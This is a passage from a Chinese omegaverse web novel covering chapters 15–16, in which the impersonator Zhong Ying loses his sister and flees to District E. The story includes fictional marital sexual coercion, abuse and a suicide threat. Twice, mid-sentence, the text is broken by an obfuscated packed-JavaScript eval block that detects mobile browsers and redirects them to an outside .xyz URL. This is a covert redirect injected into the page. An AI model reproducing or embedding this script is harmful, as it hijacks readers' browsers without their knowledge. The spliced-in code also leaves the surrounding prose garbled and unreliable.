在E区,这样被抛弃的流浪儿每年数不胜数,朝不保夕。 那年庭玉十三岁,自己都常常饿肚子,没念过书,只能跟在E区一个专门修理武器的老师傅后面打杂,换取微薄的食物。 那天,他刚捡了些能卖钱的破铜烂铁,准备离开时,衣角却被一只脏兮兮的小手紧紧攥住。庭玉心一横,推开她,几乎是逃也似的跑开了。 他回到自己那建在废墟之上的、勉强称之为“家”的窝棚,外面忽然下起了瓢泼大雨。 他躺在冰冷的板床上,听着外面越来越急的雨声,脑子里却不断闪过那双绝望的眼睛,那孩子会在这样的雨天饿死冻死吗?他强迫自己闭上眼,最终却还是猛地坐起身,冲回了遇到她的地方。 那小丫头果然还蜷缩在冰冷的角落里,浑身湿透,瑟瑟发抖。 庭玉看着她,脱下衣物裹住她,最终认命般叹了口气,将这个天大的麻烦带回了家。 从此,本就少得可怜的食物要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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很大程度上,“钟映”是看中了庭玉那张尚未完全长开、却已足够精致的脸。 甚至后来,“钟映”还按照庭玉的模样进行了整容,让两人的相似度更高,几乎达到了九十的相似度,只是整出来的凑近了才能辨认出那种不自然感。 最终的判决是“钟映”需在少管所管教两年。 那位被娇惯坏了的正牌钟家小少爷,自然不肯去那种地方吃苦,早早便被送出了国,继续他逍遥自在的生活。 而庭玉顶着他的名字,走进了少管所。作为交换,他的妹妹寄玉得到了最好的治疗。他在里面表现良好,得以提前释放。然而出来没多久,钟浦涛便找到了他,给了他新的“任务”。 “我们家和路家早就定下的婚约。如今路家败落,立刻悔婚倒显得我们钟家欺负人。路家现在也就那么一个小子硬撑着,难成大器。你去吧。” 于是,他成了“钟映”,嫁入了路家。 后来发生的事,出乎了所有人的预料,路霆不仅没有沉寂,反而带着赫赫战功回来了。 钟浦涛的第一反应不是欣喜,而是巨大的恐慌。他对已经做了两年“钟映”的庭玉厉声警告:“绝不能让他发现!否则,我们全都得完蛋!” 路羿听完这漫长的叙述,半晌,才喃喃低语:“……难怪。” 难怪他动用人脉去查,也查不出寄玉和“嫂子”之间有任何明面上的关联,而他却对那个女孩如此不离不弃,倾尽所有。 思绪从沉重的回忆中抽离,钟映只觉得心头漫上无边无际的苦涩:“路霆如果知道了真相……他一定会毫不留情地把我送上军事法庭的。我骗了他这么久……甚至不知道该如何面对他。既然这样……不如就认下这件事,索性就这样……散了吧。” 路羿转过头,目光复杂地看向眼前的人。 他仿佛能看到眼前这具单薄身体上重叠着无数看不见的伤痕和重压。 面对这样的人,他实在说不出半分责备的话。 “那之后……你打算怎么做?”路羿的声音低沉,带着不易察觉的涩然。 钟映鼻尖一酸,强压下喉间的哽塞,轻声道:“我知道……寄玉也许熬不过今年了。” 凡人之躯,怎么挡得住死神的到来,这么多年只换来这样的结果,钟映也觉得很累。 “等路霆宣布婚姻无效,我就会带她离开……回我们来的地方。” 那个充斥着灰色记忆,却是他们唯一能称之为“根”的E区。 路羿怔怔地出神了好一会儿,才哑声问:“……还会回来吗?” 钟映缓缓摇头,目光落在虚空中的某一点:“我不知道。” 15. 寄玉走了……就在十分钟前 路羿本想让他暂且留在自己这里避一避风头。谁知当晚,路霆便带着一身凛冽的寒气找上门来。 路羿挡在门口,试图劝阻:“哥,你先冷静一下……” 话未说完,便被路霆冰冷的目光打断。 路霆的声音里淬着毫不掩饰的厌烦:“路羿,我真的很不喜欢你插手。这是我的家事,你根本没资格管。” 钟映不想再连累路羿,沉默地从他身后走出来,低声道:“我跟你回去。” 路霆看着钟映身上的衣物,露出一抹难以难受的表情。 回去的车上。 路霆的指责便下来了:“真是小看了你。是不是见一个Alpha,你就能勾引一个?” 钟映脸色青白,指尖掐进掌心:“我会签离婚协议的。你不用这样……羞辱我。” 路霆厌恶地扫了他一眼,从鼻腔里发出一声冷嗤:“哼,你就这么想踹了我?我偏不如你的愿。当初我想离的时候,你用尽手段不肯。如今你轻飘飘一句不爱了,就要离?凭什么?” 钟映闭上眼,声音里带着绝望的哀求:“我知道都是我的错……求求你路霆,放我离开吧。” 路霆没有回答。 车子一路疾驰,钟映才发现这并不是回公寓的路,最终,车子停在了碧水湖那栋他只在照片里见过的别墅前。 钟映一时不知该作何表情。 路霆粗暴地将他拽下车,拖进屋内。那双眼睛里翻涌着冰冷的怒火和毫不掩饰的轻视:“离婚?想都别想,你那个奸夫跑得倒是快,不过你放心,我绝不会放过他。” 钟映被他死死抵在冰冷的门板上,挣扎着低喊:“我们何必……一定要这样互相折磨……” 路霆的眼神陡然变得狠厉,一字一顿道:“如果我说,我非要折磨到底呢?” 他俯下身,气息压迫着钟映:“从今天起,你敢踏出这里一步,你在医院助养的那个孩子,你就再也别想见到她。” 钟映猛地睁大眼睛,瞳孔骤缩:“你怎么会知道……” “不然你以为?”路霆冷笑,“你那么频繁地往医院跑,真当我是死的,不知道你去干什么?钟映,别把我的容忍不当回事。还有,离路羿远一点。” “我就不该对你仁慈。” 路霆的话钟映不敢不听。 尽管外界关于将军夫人出轨的流言蜚语传得沸沸扬扬,路霆却始终对钟映相关的一切闭口不谈。 照顾钟映的阿姨也被调来了碧水湖的别墅。 足足半个月,钟映如同被软禁在这座华丽的牢笼里,只能通过电话与医院里的寄玉说几句话。 他对着听筒,努力让声音听起来轻松:“哥哥最近有点忙,等忙完了就去看你,好不好?” 寄玉在那头乖巧地应着,说会乖乖等他。 他原本以为路霆只是一时怒气上头,将他关在这里冷几天。 可事实是,路霆将他扔在这里后,便再也不曾露面,仿佛彻底遗忘了他。 钟映最终忍不住,给他发了信息,请求好好谈一谈。 几天后,路霆来了。却是一身浓重酒气,眼底带着疲惫的红血丝。 阿姨见状,悄无声息地退了出去。 钟映给他倒了杯温水,递过去:“你……还好吗?” 路霆抬起泛红的眼睛,直直地盯着他,嘴角扯出一抹没什么笑意的弧度:“你觉得呢?” 钟映嘴唇紧抿,沉默地垂下了眼睫。 路霆摇摇晃晃地站起身,环视着这栋装修精致却毫无生活气息的房子,声音带着醉意和某种难以言喻的嘲弄:“这里怎么样?是不是很好……你知道吗?这是当年从前线回来,我特意买下来……准备我们以后住的。” 钟映愣住。 路霆本来是打算他们一起住。 “结果呢?结果我就发现你在我的车里装定位器!我跟你谈离婚,你转头就给我玩自杀!这房子……也就一直这么空到了现在!” 路霆忽然伸出手,指尖带着酒后的微颤,用力滑过钟映的脸颊,顺着颧骨往下,力道不轻,带着一种审视和逼迫:“你以前总说爱我……钟映,你告诉我,你那颗心里……到底有几分是真心?” 钟映怔怔地看着路霆瞳孔中映出的自己小小的倒影。 他曾真的毫无保留地将一颗真心捧出去过,滚烫而笨拙。 可路霆说,觉得恶心。 “你说啊!”路霆的情绪陡然激动起来,手指收紧,掐得他脸颊生疼,“你到底有几分真心?!” 钟映被他掐得偏过头,避开了那灼人的、仿佛能将他烧穿的目光,声音低哑:“路霆……你喝醉了。” 下一秒,天旋地转,他就被一股不容抗拒的力道狠狠按倒在冰冷的真皮沙发上。 Alpha沉重的身躯伏压下来,滚烫的、带着浓重酒气的呼吸喷在他的颈侧,声音低沉而模糊,像是梦呓,又像是诅咒:“我不会喜欢上你的……永远……都不会……” 那之后,路霆似乎找到了一个宣泄的出口。 他经常带着一身浓重的酒气闯入这栋别墅,借着醉意肆意发疯。 有时会不顾Omega微弱的挣扎,粗暴地将人拖上床,仗着永久标记带来的生理羁绊为所欲为。 最过分的时候,他会在Omega意识模糊之际,红着一双充斥着酒精和暴戾的眼睛,逼问身下的人,声音沙哑而残忍:“说……到底谁操//得你更爽?” 这样的性//爱,早已脱离了情//欲的范畴,更像是一种反复的、带着羞//辱性质的惩罚。 那段时间,钟映身上的痕迹几乎从未彻底消退过。 青紫的指痕,暧昧的咬痕,新的叠着旧的。 而Alpha似乎故意为之,总在显眼的地方留下印记。 直到有一次,Omega被逼到了绝境。在路霆又一次带着酒气逼近时,他猛地抓起茶几上的水果刀,颤抖着架在了自己的脖颈上,冰凉的刀刃紧贴着皮肤,眼中是一片死寂的绝望。 路霆的动作终于顿住。他盯着那抹寒光,眼睛里闪过一丝难以置信,随即被更深的暴怒取代。 他低吼了几声“行!”,语气咬牙切齿:“就我碰不得你是吧?!好!我走!” 离开前,他将满腔无处发泄的怒火倾泻在了屋内的摆设上。 伴随着一阵刺耳的碎裂声,茶几上的杯盏、墙角的装饰花瓶…… 一切触手可及的东西都被他狠狠掼在地上,留下一片狼藉,才带着一身戾气摔门而去。 最后,还是路母亲自出面,怒斥了路霆的混蛋行径,强硬地将钟映从碧水湖接回了路家老宅。 她握着钟映冰凉的手,轻声安慰道:“那个混账东西!你别怕,安心在家里住下,没有你的允许,我绝不让他踏进家门一步。” 感受着掌心传来的温暖和毫不迟疑的维护,钟映连日来的委屈和惊惧再也压抑不住,眼圈瞬间就红了。 路母看着他这副模样,心疼又疑惑,柔声问他是不是有什么难言的苦衷。 钟映张了张嘴,最终还是化作沉默,一个字也吐不出来。 路母见状,也只能化作一声无奈的叹息。 路霆果然消停了几日。 钟映趁着这段相对平静的时间去医院看望寄玉。 桑姨忧心忡忡地告诉他,寄玉的精神越来越不济了。 钟映坐在床边,拿起一本旧书,轻声细语地给她念着。突然,寄玉微微转过头,气若游丝地看着他,声音小得几乎听不见:“庭玉哥哥……我想回家……回我们那个……小房子……” 钟映心脏猛地一抽,强忍着鼻酸,温柔地抚摸着她柔软的头发,柔声答应:“好,很快了。等我们回去了,哥哥就在屋子旁边,种满你最喜欢的向日葵,好不好?” 寄玉极其缓慢地眨了眨眼,发出一个几不可闻的气音:“……嗯。” 她呼吸变得有些困难,断断续续地,却努力说着:“寄玉以后……会变成星星……在天上……看着哥哥的……哥哥一定要……幸福啊……” 路羿沉默地站在病房门口,等他出来时,低声让他做好心理准备。 钟映垂下眼睫,像是随时会碎掉:“……我知道。” 路奶奶生日前夕,路霆却突然提出要在路家老宅,为容嘉举办一场盛大的生日宴会。 路母气得当场骂他:“你是不是真的疯了?不想过下去了?!” 路霆梗着脖子,语气冷硬,带着一种破罐破摔的偏执 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路霆似乎特意将他安排在了前方最显眼的位置,像是要让他清清楚楚地看见,自己是怎样将温柔与专注倾注给另一个人,仿佛在无声地宣告:你看,你不要的,自有人视若珍宝。 说实话,真的非常幼稚,但是却很能伤害到钟映。 绚丽的烟火一束接一束升空,在漆黑的夜幕炸开璀璨夺目的光华,几乎照亮了半边湖泊,美得惊心动魄。 可钟映却突然感到一阵莫名的心悸,下意识地按住了发闷的胸口。 他慌忙拿出手机,才发现因为周遭过于喧闹,他漏接了路羿的好几个电话。 一种不祥的预感瞬间涌上心头。 他拼命挤开身边欢呼的人群,颤抖着手回拨路羿的号码。 电话接通的那一刹那,他似有所感,猛地抬起头,望向被烟花照得忽明忽暗的天空。 路羿的电话也接通了。 “大嫂……”路羿的声音沉重而沙哑,从听筒那端传来,“寄玉走了……就在十分钟前。” 几乎与此同时,一束最为耀眼夺目的金色烟花尖啸着蹿上最高空,轰然绽放,将整个世界映得亮如白昼。 钟映张了张嘴,喉咙却像是被什么东西死死堵住,发不出任何声音,只有破碎的气音:“她……她……” “她走得很安详……是桑姨最先发现她没了呼吸。”路羿的声音带着不忍,“你要不要……过来看看她?” 钟映花了极大的力气,才勉强挪动仿佛灌了铅的双腿。他对着电话那头,极其艰难地挤出一句:“好,你……等我缓缓……” 话音未落,整个人便脱力般猛地靠在冰冷的栏杆上,才勉强没有软倒在地。 那只受过伤的右手开始不受控制地剧烈痉挛抖动。 手机从颤抖的指间滑落,“啪”地一声摔在地上。 眼泪也在同一时刻,毫无预兆地决堤而出,滚烫地划过冰凉的脸颊。 他望着不远处依旧璀璨喧嚣的烟花,望着路霆背对着他、与他人并肩而立的背影。 他的“爱人”最终与他形同陌路,而世上唯一知晓他真实姓名、与他血脉相连的亲人,也永远地离开了人世。 他出卖了自己的所有,姓名、身份、身体、尊严,做了整整四年任人摆布的傀儡。 最终,却还是没能留住他最想留住的人。 这苍茫世间,从此再无一人知晓他真正的名字。寄玉那么乖,那么懂事,她甚至早已敏锐地察觉出哥哥处境艰难,只敢在无人时,用气音偷偷地、小心翼翼地唤他一声“庭玉哥哥”。 那是独属于他们兄妹之间,最后一点温暖的、真实的联结。 而现在,这点微光也彻底熄灭了。 “……怎么回事?他怎么晕过去了?!” “钟映!钟映!” 周遭的惊呼声、脚步声瞬间变得混乱而遥远,他最后的意识,是模糊视野里无数张写满惊恐望向他的脸。 以及那个刚刚还背对着他,此刻却猛地转身,脸上血色尽褪,疯了般拨开人群,不顾一切向他狂奔而来的路霆。 16. 再见 那日,钟映在众目睽睽之下晕厥倒地。 事后,闲言碎语立刻沸沸扬扬地传开,有人说他是被路霆公然将新欢带回家、还大办宴会的行径给活活气晕的;也有人说他分明是装的,目的就是博取同情,让路家心软。 总之,揣测纷纷,难辨真假。 家庭医生仔细检查后,只说他是受了极大刺激,情绪过于激动才导致的昏厥。 路母闻言,又急又气,抬手就在路霆身上狠狠扇了几巴掌,用了十足十的力道:“都是你作出来的孽!让你别发疯!” 路霆心里头担心,嘴上依旧不服软:“我怎么了?!他当初当着我的面护着那个奸夫的时候,我可没晕,我也差点急火攻心了好吗!妈你不能因为我身体好,就这么双标!” 路母捂着发闷的胸口,气得声音都在抖:“你自己用脑子好好想想!你媳妇儿真是那样的人吗?你一遇到他的事,简直就是在用屁股思考!真是要气死我了!” 路霆起初还满脸不忿,焦躁地在房门口来回踱步,就是不愿进去面对。 直到路羿匆匆从医院赶回,看向他的眼神已然带上了明显冷意:“哥,医院那个孩子……没了。就因为你搞的这个什么劳什子宴会,他没能赶上见最后一面。” 路霆像是被瞬间扼住了喉咙,所有辩解和怒气都卡在了那里,一个字也再说不出来。 钟映醒来后,异常沉默。 他面色惨白得吓人,眼眶泛着红,整个人像是遭受了难以承受的重击,却仍强撑着最后一丝力气。 他跟着路羿准备离开,经过路霆身边时,脚步未有丝毫停顿。 路霆却像是无法忍受这种彻底的忽视,猛地伸手抓住了他的手腕,声音带着自己都未察觉的急迫:“我跟你们一起去。” 钟映停下脚步,极其缓慢地、却又异常坚定地,将自己的手腕抽了出来。 他未曾回头,只留下两个轻飘飘的字,却重得砸在路霆心上:“不用了。” 路霆僵在原地,看着那道单薄决绝的背影逐渐远去,心底突然涌起一股前所未有的、近乎灭顶的恐慌。 仿佛这一次,他是真的再也抓不住,也再也等不回来钟映了。 容嘉微笑着送走最后几位宾客,原本以为这将是一个完美收场、奠定他地位的夜晚,没想到最终竟以这样一场混乱仓促收场。 他整理了一下表情,正准备过去对路霆说几句体贴的场面话,却恰好看见钟映面色苍白、步履匆匆地离开路家老宅。 他心底正暗自得意,以为终于挤走了这个碍眼的存在,一转头,却见路霆竟毫不犹豫地紧跟着冲了出去。 容嘉心里咯噔一下,连忙快步追上前,声音带着急切和一丝不易察觉的慌乱:“路哥!你要去哪里?他既然自己要走,就让他走好了!何必……” 路霆脚步未停,甚至没侧头看他一眼,只从齿缝间冷冷挤出两个字:“滚开。” 容嘉被这毫不留情的呵斥噎了一下,却仍不死心,加快脚步试图拦住他,语气带上了委屈和挑拨:“路哥!他那种水性杨花、不知廉耻的人,有什么值得你挽留的?路哥,我今天……” 然而,路霆像是根本没听见他后面的话,或者说,根本不在意他说什么。 那道高大挺拔的身影没有丝毫停顿,径直追着钟映离开的方向,迅速消失在夜色深处,只留下容嘉独自站在原地,脸上的得意早已僵住,逐渐被错愕和不甘取代。 凭什么连他的生日都被利用。 桑姨已经将寄玉生前那些小小的遗物仔细收拾妥当,装在一个干净的布袋里。 她抬手擦了擦湿润的眼角,声音哽咽:“她是个特别乖巧的孩子……或许是自己也感觉到了……一直断断续续地问哥哥在哪里?我就哄她,说乖乖睡一觉,明天天亮就能见到哥哥了……谁知道……我只是出去接杯水的功夫,她就……” 钟映手心里紧紧攥着那个已经有些旧了的向日葵玩偶,指节泛白。 他朝着桑姨,深深地、郑重地鞠了一躬:“辛苦您了……桑姨。谢谢您这么多年,把我们的寄玉照顾得这么好。” 桑姨连忙扶住他,声音里满是心疼与不忍:“快别这样……孩子,你……要节哀,人生就是这样,有时候天不遂人愿。” 钟映红着眼眶点头。 他坚持向每一位曾照料过寄玉的医生和护士都鞠躬道谢,感谢他们最后的努力与慈悲。 路羿始终沉默地陪在他身边,陪他见了寄玉最后一面。 小姑娘安静地躺在那里,面容平和,仿佛只是陷入了沉沉的睡眠。 钟映伸出手指,极轻极轻地抚过她冰凉的脸颊。 “……我刚把她捡回来的时候……她就只有那么一点点大。”钟映的声音低哑,带着破碎的气音,“那时候我总想,我自己都活不好,怎么养得活她。” “她跟着我,根本没吃过什么好东西,没过过一天真正的好日子……那时候周围的人都劝我放弃,说我们熬不下去……直到现在我才明白……原来一直是我……离不开她。” 路羿站在他身旁,肯定道:“怎么会?寄玉以前偷偷跟我说过,她觉得能做你的妹妹,是这辈子最幸福、最幸运的事。” 这句话像终于冲垮了最后一道堤坝。 钟映压抑的哭声终于溃决而出,身体难以抑制地颤抖起来。 路羿伸出手,用力地揽住他单薄颤抖的肩膀,无声地给予支撑。 寄玉火化那天,天色灰蒙蒙的。 钟浦涛的电话打了进来,声音在那头显得有些遥远而公式化:“……听说你妹妹的事了,节哀顺变。” 钟映握着手机,站在空旷的走廊尽头,声音平静得听不出波澜:“……谢谢您这么多年,对寄玉的治疗和照顾。” “您知道的,我恐怕……没办法再继续替您办事了。” 电话那端沉默了良久,钟浦涛才再次开口,语气带着一丝不易察觉的试探和权衡:“路霆那边……就真的没有一点挽留的余地了?” 钟映垂下眼睫,看着窗外铅灰色的天空:“前几日的事情您也知道了……再加上,之前钟少爷那件事的旧账……恐怕是真的没有办法了。” “……好。”钟浦涛的声音听不出喜怒,“等你那边的事情都处理完,我会派人去接你。毕竟你在这里无亲无故,我们钟家……自然会‘好好’照顾你的。” 钟映声音却依旧顺从:“……好,您知道的,我这些年只能依靠钟家。等我收拾好东西,会主动联系您,您知道我也需要一点时间……平复心情。” 挂了电话,钟映将妹妹的骨灰暂时寄存。 随后,他联系了路霆的刑秘书,将那份早已准备好的离婚协议转交过去。 他和路霆的财产在结婚前就划分得清清楚楚,这些年,他也从未越雷池一步,此刻倒省去了许多纠缠。 “麻烦您让他签好字后,将另一份直接寄回钟家。我会尽快收拾好东西,离开我们之前住的地方。” 说完,他起身,拿起搭在椅背上的那件灰色外套,刑秘书却忽然出声叫住他:“钟先生……” 钟映脚步未停,甚至没有回头,只留下了一句斩钉截铁、不留丝毫余地的话:“不用再说了。我这辈子再也不想见到他。” 钟映回到那间几乎屋子,开始沉默地收拾东西。 他的物品少得可怜,几乎没什么是真正属于“钟映”这个身份的。 他将房间里那些带着过往痕迹的东西几乎扔了个干净,最后,只带着一个简单的背包,去了陵园。 他取出了寄存在那里的、装着妹妹骨灰的盒子,抱在怀里,然后给孟檀清打了个电话。 电话那头,孟檀清的声音带着关切和一丝不易察觉的叹息:“我给你安排的位置……是两个人的。车子晚上六点准时出发,直接去E区。节哀……还有,一路平安。” 钟映说:“如果可以,我下辈子当牛做马也会报答你……” 孟檀清打断:“不要这样说,你好好的,如果可以,到时候安顿好了给我带个信就好。” 傍晚,钟映抱着用灰色外套仔细包裹好的骨灰盒,坐上了那辆列车。他小心地将盒子放在里侧的空位上,用外套盖住,怕旁人觉得晦气或不适。 车子即将发动时,路羿的电话打了进来,问他具体什么时候离开,声音里带着急切:“我可以陪你一起回去……” 恰在这时,车厢内响起了广播,提醒乘客系好安全带,声音清晰地透过听筒传了过去。 路羿的声音瞬间绷紧:“……钟映!你现在在哪里?告诉我位置!呆在原地别动!” 钟映看着窗外逐渐暗沉的天色:“我不叫钟映,路羿。谢谢你……你为我做的一切,我甚至不知道该如何回报。我知道你对我的好,对不起……我不能给予任何回应。” 他也给不起。 钟映缓缓道:“我和我妹妹……就像是不小心被冲上岸的鱼,始终和这个世界格格不入。现在……我们该回到属于我们的那片海里去了。” “再见,真的很开心能够认识你。” “等等!”路羿的声音急切地打断他,带着一丝慌乱的追问,“你还没有告诉我你原本的名字!你要回E区哪里?具体位置告诉我,我……” “嘟嘟嘟——” 忙音突兀地切断了所有后续。 钟映垂下眼,轻轻取出了手机卡,指尖微一用力,将其折成两半。 列车缓缓启动,窗外的景物开始向后移动。他望着外面已经完全暗下来的天空,和远处零星亮起的灯火,无声地动了动嘴唇。 再见。 他低下头,指尖极轻地拂过那个被外套包裹的方盒,声音低得如同耳语,却带着一种尘埃落定的温柔:“妹妹,我们回家了。” * 路羿动用了所有能动用的关系,查遍了当日所有登记在册、前往E区的公共交通工具记录,都没有找到一个叫“钟映”的乘客。 “如果他只能用这个身份离开……那极有可能乘坐的是无法公开查询的私人航班。”手下的人这样汇报。 路羿带着一身疲惫和颓唐回到家时,却看见路霆站在他家门口不远处,身影被灯拉得很长,像是已经等了很久。 “告诉他,”路霆的声音沙哑,带着一种强硬的、却又像是抓住最后一根稻草般的偏执,“协议要签可以,但我必须跟他当面谈。” 路羿向来温和好脾气,此刻却像是被这句话点燃了积压已久的怒火。他忽然扯出一个没什么温度的笑,语气罕见地带上刺人的阴阳怪气:“随便你签不签。” 人都已经不知去向了,还他妈谈什么? 路霆被他这态度激得瞬间火起,猛地逼近一步:“……你什么意思?路羿,你就这么巴不得我跟钟映离婚是不是?好趁机便宜你是吧!” 路羿懒得再与他争辩,径直越过他准备开门,却在擦肩而过的瞬间停住脚步,回身看着他,眼神里带着冰冷的嘲讽:“伯母说得真没错。你一遇到他的事,脑子就没了,全是在用屁股思考。” “妈的!路羿你他妈给我说清楚!”路霆额角青筋暴起,一把攥住他的衣领。 路羿毫不畏惧地迎着他的目光,一字一句:“你既然那么喜欢给别人大张旗鼓地办生日宴,就干脆娶了他,年年办,办个够吧!” 路霆以前极少说脏话,可最近这频率越来越高。 毕竟,生活有时候真他妈的太操蛋了。 路霆梗着脖子,扔下一句“他不来见我,这字我就不签”,仿佛这样就能逼得那个已经消失的人不得不回来找他。 那晚,他跟着路羿和钟映到了医院楼下,在车里枯坐了一整夜 然而,直到天光熹微,他上楼去,钟映连一个眼神,都吝于再给他了。 路霆清楚地知道,这次是自己罪大恶极。 愧疚和后悔如同藤蔓般日夜缠绕着他的心脏,几乎令人窒息。 他原本只是想……只是想让钟映也尝尝自己当初那种被背叛、痛苦到发狂、嫉妒到失去理智的滋味。 却万万没料到,会横生枝节,撞上那样无法挽回的悲剧。 他只是想,能不能做点什么,哪怕一点点,让钟映心里能好受一些。 结果呢?那人干脆利落地彻底消失,家也不回,连一面都不愿见,只通过冷冰冰的协议递来一份离婚书。 他起初还想着,让两人都冷静一下也好。或许等钟映情绪平复,还有转圜的余地。 可仅仅过了一周,路霆就彻底撑不住了。 心底那股空落落的恐慌驱使他回到了他们共同生活了几年的那处房子。用钥匙打开门的那一刻,他整个人愣在玄关,如遭雷击。 屋子里空旷、寂静,积着一层薄薄的灰尘,仿佛已经很久没有人踏足。 他猛地推开钟映卧室的门,里面所有曾经属于那个人的痕迹,衣物、用品、甚至是一些不起眼的小摆设,全都消失得一干二净。 只有那把钥匙,被孤零零地放在门口的柜子上。 他不死心,发疯似的打开一个又一个衣柜和抽屉,里面空空如也。 最终,路霆颓然地跌坐在客厅的沙发上,手指深深插进发间,声音沙哑得不成样子,喃喃自问:“……东西怎么都没了,回钟家了?” 直到这一刻,他才无比清晰地意识到,在钟映那里,这件事……恐怕已经没有丝毫回旋的余地了。 他抱着最后一丝渺茫的希望,让刑秘书去打听那个孩子的骨灰安置在何处。 不久后,刑秘书回报:并未下葬,钟映只是将骨灰暂存了一日,之后便亲自带走了。 路霆从未将钟浦涛当作值得尊敬的长辈看待,他一直厌恶对方屡屡插手他们的婚姻,更恨钟映在那人面前永远唯唯诺诺,毫无主见,将他们的婚姻当做一场交易。 可眼下,似乎只有从钟浦涛这里,才能探听到一点消息,或许还能有一线转机。 他拨通了电话,那头很快传来钟浦涛惯常的、带着点装模作样的声音:“喂,路霆啊,什么事啊?” 路霆紧皱着眉头,语气压抑着焦躁:“钟映是不是回你那里了?他把他所有的东西……都搬走了。” 那边钟浦涛突然接到路霆的电话,心里也是一阵发慌。 因为他自己也完全联系不上钟映了,那人就像是人间蒸发了一样,音讯全无。 按理说,钟映在这里根本没什么熟识的人,他过去也有意无意地切断了他的社交网络。 他原本甚至怀疑是路霆动了什么手脚,究竟是发现了冒牌货的身份,还是单纯无法忍受伴侣的“背叛”? 钟浦涛稳住心神,打着哈哈:“这……这……他没跟我联系啊。也许是心情不好,出去散散心了吧?他那件事做得确实不对,但年轻人嘛……以后你们好聚好散,咱们钟路两家的和气,还是最重要的。” 路霆的声音带着一种疲惫的无奈:“……我没打算离。这事,等他回来再说。” 电话那头的钟浦涛猛地愣住,语气瞬间变得急切起来,甚至带上了一丝劝分的意味:“路霆啊,你听我一句劝,这过日子终究是你们两个人自己的事。既然彼此心里都有了这么大的疙瘩,何必再互相折磨下去呢?离了吧!我听钟映说,协议他已经给你了,你尽快签字盖章,咱们两家以后见面,也好说话不是?” 路霆简直不敢相信自己的耳朵,反复确认了两次:“……你是真的希望我们分开?” 钟浦涛的语气听起来异常坚决,甚至有些反常:“钟映既然已经决定了,我这次尊重他的选择。协议……过几天我派人去取。” 路霆握着电话,心里冷笑:这老东西居然这个态度?这些年他仗着两家联姻从他这里捞了多少好处,现在居然舍得,好啊,谁怕谁。 结果没过两天,钟浦涛竟然真的亲自找到了军部来取协议。 路霆正接过刑秘书递来的外套准备外出,连眼皮都懒得抬一下。 钟浦涛却仿佛毫无廉耻之心,竟还能腆着脸上前,说什么“放过钟映,对大家都好”之类的话。 周围的下属们眼观鼻鼻观心,不敢多看热闹。路霆只冷硬地丢下一句:“我要亲自跟钟映谈。” 便大步离开。 路霆派人盯着路羿的动静,回报却说路羿一切如常,上班下班极为规律,只是……似乎在私下打听前往E区的事情。 E区?那个混乱又落后的地方?路霆并未太放在心上。 另一边,钟浦涛回到家后,左思右想,总觉得不安心。 他找到了那早已改名换姓、过继到旁系名下、尚未出国的亲生儿子,如今叫钟灵。 钟浦涛试探着提议:“要不……你装一装钟映?想办法骗路霆把字签了?” 钟灵漫不经心地看着自己修剪精致的指甲,闻言轻笑着摇头,语气带着几懒散和不屑:“爸,我跟那个冒牌货,虽然长得差不多,性子可是天差地别。我一露面,岂不是立刻穿帮?既然现在人已经没了,那位路将军年纪轻轻,位高权重,我不信他会耐得住寂寞不再娶。拖着呗,急什么?” 钟浦涛听着儿子的话,心里依旧七上八下,只能叹口气:“但愿……如此吧。” 结果一个星期过去了,路霆依旧没能找到钟映的任何踪迹。 他动用了所有能调动的资源,查遍了所有登记在册的航班、列车、长途汽车记录,都没有“钟映”这个名字。 他不得不去找孟檀清。 对方见了他,只是冷嘲热讽:“哟,路将军?什么时候办新婚大喜啊?不知道我们这些旧人,有没有资格去讨一杯喜酒喝?” 路霆压下心头的焦躁和怒火,耐着性子问:“……你知不知道他去了哪里?什么时候回来?” 孟檀清对着他,露出一个无懈可击的、带着疏离的笑:“我不知道。” 路霆的耐心告罄,声音沉了下去,带着威胁:“……别以为我不能把你怎么样。你把他藏到哪里去了?他最后联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345626|183512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系的几个人中有你。” 孟檀清丝毫不惧,反而迎上他的目光,语气平淡却针锋相对:“路将军既然手段通天,大可以继续查。我再说一次,我没藏他。” 刑秘书本以为路霆会就此罢手,却不知他只是拉不下脸再去找任何与钟映有关的人打听,转而动用了更隐蔽的渠道和关系网,从那天钟映离开时的监控录像开始,一帧一帧地回溯。 画面最终锁定在一个穿着灰色外套、拉着行李箱的模糊身影上,那件外套,正是他最后托刑秘书转交协议那天穿的衣服。 监控显示,他最后登上的,是一辆通往E区的专用列车。 那是孟檀清丈夫公司的新项目,专门向E区输送技术和管理人才。 车上的乘客都是经过审核、前往E区工作的团队成员。路霆直接找到了孟檀清的Alpha丈夫,揪着他的衣领逼问钟映的下落。 对方被这突如其来的阵仗搞得一脸茫然,慌忙翻遍了所有乘客名单和登记资料,确实没有找到“钟映”的名字。 “队伍早就抵达E区开始工作了……我、我也不知道他是怎么混上去的……将军您别急,我这就帮您查……” 后续反馈的消息更令人绝望:“没有这号人……查了车厢记录和沿途站点监控,他好像在E区的前一站就提前下了车……将军,E区那边人口流动大,管理混乱,情况复杂……他要是真在那儿下了车,几乎就等于……大海捞针,找不到了……” 找不到了? 路霆才猛地惊觉,钟浦涛那句轻飘飘的“出去散心”根本全是骗他的鬼话。 他再次找到孟檀清,几乎是咬着牙问,眼底翻涌着骇人的风暴:“他去那种地方到底要做什么?!别以为我真的不敢对你怎么样!” 孟檀清看着他这副濒临失控的样子,沉默了片刻,才缓缓反问:“……你确定,你真的想知道吗?” 路霆眉头紧锁,心中不祥的预感越来越重。 孟檀清不是钟映,她觉得让这位路将军知道也不是什么大不了的事。 “他回家了。”孟檀清的声音很轻,却像重锤砸下,“带他妹妹……回家。” 